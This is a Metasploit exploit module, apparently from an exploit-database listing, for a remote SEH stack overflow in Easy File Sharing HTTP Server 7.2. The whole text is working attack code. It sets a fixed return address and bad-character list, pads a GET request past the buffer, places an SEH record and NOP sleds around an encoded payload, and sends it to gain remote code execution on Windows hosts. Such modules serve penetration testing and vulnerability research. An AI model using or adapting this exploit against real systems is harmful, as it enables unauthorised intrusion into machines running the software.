Easy File Sharing HTTP Server 7.2 – Remote Overflow (SEH) (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow', 'Description' => %q{ This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software. }, 'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>', 'License' => MSF_LICENSE, 'References' => [ [ 'EDB', '39008' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 390, 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ], ], 'DefaultOptions' => { 'RPORT' => 80 }, 'DisclosureDate' => 'Dec 2 2015', 'DefaultTarget' => 0)) end def print_status(msg='') super("#{peer} - #{msg}") end def exploit connect print_status("Sending exploit...") sploit = "GET " sploit << rand_text_alpha_upper(4061) sploit << generate_seh_record(target.ret) sploit << make_nops(19) sploit << payload.encoded sploit << make_nops(7) sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20) sploit << " HTTP/1.0\r\n\r\n" sock.put(sploit) print_good("Exploit Sent") handler disconnect end end |